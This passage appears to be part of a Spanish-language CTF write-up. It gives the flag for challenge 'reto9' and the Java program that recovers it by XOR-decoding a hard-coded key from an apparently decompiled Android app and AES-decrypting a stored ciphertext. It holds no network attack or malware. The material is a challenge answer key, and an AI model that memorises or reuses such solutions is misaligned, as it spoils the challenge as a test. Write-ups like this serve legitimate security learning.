Que en ASCII resulta ser: IwantToWinTheCTF

El código completo del Java que me dio la solución es este:

import java.io.IOException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;
import java.util.Arrays;

public class reto9 {
	public static void main(String[] args) {
		scan();
}

	public static void scan()  {
		byte[] arrayOfByte1 = new byte[14];
    	arrayOfByte1[0] = 105;
    	arrayOfByte1[1] = 108;
    	arrayOfByte1[2] = 111;
    	arrayOfByte1[3] = 118;
    	arrayOfByte1[4] = 101;
    	arrayOfByte1[5] = 114;
    	arrayOfByte1[6] = 111;
    	arrayOfByte1[7] = 111;
    	arrayOfByte1[8] = 116;
    	arrayOfByte1[9] = 101;
    	arrayOfByte1[10] = 100;
    	arrayOfByte1[11] = 99;
    	arrayOfByte1[12] = 111;
    	arrayOfByte1[13] = 110;
    	Object localObject = "";
	 	byte[] arrayOfByte11 = hexStringToByteArray("c135559de69f3f57b9d6d70729912f7060cdc4e27358b22bcc1eb54b4c941266");

		int cont = 0;
      byte[] arrayOfByte6 = readRes();
      byte[] arrayOfByte7 = arrayOfByte1;
      String str2 = x(arrayOfByte6, arrayOfByte7);

      localObject = str2;
      byte[] arrayOfByte77 = str2.getBytes();

		while (cont<100) {
    		try  {
          	byte[] arrayOfByte9 = ((String)localObject).getBytes();
//          byte[] arrayOfByte10 = encrypt(arrayOfByte8, arrayOfByte9);
          	byte[] arrayOfByte10 = decrypt(arrayOfByte11, arrayOfByte9);

   			int i = 0;

				while (i < arrayOfByte10.length) {
					System.out.print(arrayOfByte10[i]+" ");
					i += 1;
				}

				System.out.println();
				return;
			}
      	catch (Exception localException) {
				System.out.println(localException.getMessage());
      	}

      	String str3 = String.valueOf(localObject);
      	str2 = str3 + "0";
      	localObject = str2;
      	cont += 1;
		}
	}

	public static byte[] readRes() {
//    	String str1 = this.context.getString(2130968578);
    	String str1 = "1B03000200160C001A170B00041D48";
    	byte[] arrayOfByte = new byte[str1.length() / 2];
    	int i = 0;

    	while (true) {
      	int j = arrayOfByte.length;

      	if (i >= j) {
        		String str2 = new String(arrayOfByte);
        		return arrayOfByte;
      	}

      	int k = i * 2;
      	int m = i * 2 + 2;
      	int n = (byte)Integer.parseInt(str1.substring(k, m), 16);
      	arrayOfByte[i] = (byte)n;
      	i += 1;
    	}
  	}

	public static String x(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2) {
   	String str1 = "";
    	int i = 0;

    	while (true) {
      	int j = paramArrayOfByte1.length;

      	if (i >= j)
        		return str1;

      	String str2 = String.valueOf(str1);
      	StringBuilder localStringBuilder = new StringBuilder(str2);
      	int k = paramArrayOfByte1[i];
      	int m = paramArrayOfByte2.length;
      	int n = i % m;
      	int i1 = paramArrayOfByte2[n];
      	char c = (char)(byte)(k ^ i1);
			StringBuffer sb = new StringBuffer(40);
//      	str1 = c;
      	str1 += String.valueOf(c);
      	i += 1;
    	}
  	}

  	public static byte[] encrypt(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2)
   	throws NoSuchPaddingException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException, NoSuchAlgorithmException {
   	Cipher localCipher = Cipher.getInstance("AES");
    	SecretKeySpec localSecretKeySpec = new SecretKeySpec(paramArrayOfByte2, "AES");
    	localCipher.init(1, localSecretKeySpec);
    	return localCipher.doFinal(paramArrayOfByte1);
  	}
	public static byte[] decrypt(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2)
   	throws NoSuchPaddingException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException, NoSuchAlgorithmException {
    	Cipher localCipher = Cipher.getInstance("AES");
    	SecretKeySpec localSecretKeySpec = new SecretKeySpec(paramArrayOfByte2, "AES");
    	localCipher.init(2, localSecretKeySpec);
    	return localCipher.doFinal(paramArrayOfByte1);
  	}

  	public static byte[] hexStringToByteArray(String paramString) {
	   int i = paramString.length();
    	byte[] arrayOfByte = new byte[i / 2];
    	int j = 0;

    	while (true) {
      	if (j >= i)
        		return arrayOfByte;

      	int k = j / 2;
      	int m = Character.digit(paramString.charAt(j), 16) << 4;
      	int n = j + 1;
      	int i1 = Character.digit(paramString.charAt(n), 16);
      	int i2 = (byte)(m + i1);
      	arrayOfByte[k] = (byte)i2;
      	j += 2;
    	}
       }
}